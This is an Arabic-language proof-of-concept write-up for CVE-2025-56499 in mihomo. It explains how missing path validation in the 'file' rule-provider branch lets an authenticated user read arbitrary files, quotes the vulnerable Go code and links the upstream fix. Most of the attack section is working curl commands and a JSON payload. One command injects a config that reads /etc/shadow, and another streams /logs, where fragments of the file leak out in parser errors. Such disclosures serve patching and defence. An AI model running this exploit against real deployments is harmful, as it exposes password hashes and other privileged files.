
إثبات مفهوم لاستغلال CVE-2025-56499، يوضح قراءة ملفات تعسفية عبر غياب التحقق من المسار في إعدادات rule-provider الخاصة بـ mihomo، مع استخراج البيانات القائم على السجلات.
قراءة ملف عشوائي عبر عدم التحقق من صحة المسار في موفر القاعدة المحلي
الإصلاح في المصدر: https://github.com/MetaCubeX/mihomo/pull/2177
الإصدارات المتأثرة: mihomo <= v1.19.11
عند تحليل تكوين rule-providers، يفشل الفرع type = "file" في التحقق من صحة المسار المقدم. يمكن للمهاجم المُوثَّق الذي يتحكم في schema.Path توجيه الموفر إلى أي ملف محلي قابل للقراءة. نظرًا لأن معظم الملفات العشوائية لا تتوافق مع تنسيق القاعدة المتوقع، يتم إصدار أخطاء التحليل (بما في ذلك أجزاء كبيرة من محتوى الملف) في سجلات الذاكرة ويتم كشفها من خلال واجهة /logs. نظرًا لأن mihomo يعمل غالبًا بصلاحيات مرتفعة (جذر / مسؤول)، ينتج عن ذلك تسريب معلومات عالي التأثير.
rules/provider/parse.go، تستدعي حالة schema.Type == "file" فقط C.Path.Resolve() ولا تفرض أبدًا C.Path.IsSafePath() أو أي قيد قائمة بيضاء / صندوق رمل معادل.var vehicle P.Vehicle
switch schema.Type {
case "file":
path := C.Path.Resolve(schema.Path)
vehicle = resource.NewFileVehicle(path)
case "http":
path := C.Path.GetPathByHash("rules", schema.URL)
if schema.Path != "" {
path = C.Path.Resolve(schema.Path)
if !C.Path.IsSafePath(path) {
return nil, C.Path.ErrNotSafePath(path)
}
}
vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}
أوجه القصور في فرع الملف:
/logs لالتقاط مخرجات أخطاء المحلل./configs يحتوي على إدخال rule-providers ضار مع type = file ومسار ملف الهدف.استمع للسجلات (مثال رمز Bearer 123):
curl -X GET "http://localhost:9999/logs" \
-H "Authorization: Bearer 123"
حقن التكوين لقراءة /etc/shadow:
curl -X PUT "http://localhost:9999/configs" \
-H "Authorization: Bearer 123" \
-H "Content-Type: application/json" \
-d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'
الحمولة غير المهربة:
{
"log-level": "debug",
"external-controller-unix": "mihomo.sock",
"rule-providers": {
"pwn": {
"type": "file",
"behavior": "classical",
"format": "text",
"path": "/etc/shadow"
}
}
}
النتيجة: أسطر فشل التحليل في /logs تحتوي على أجزاء من /etc/shadow (لقطة شاشة مثال):
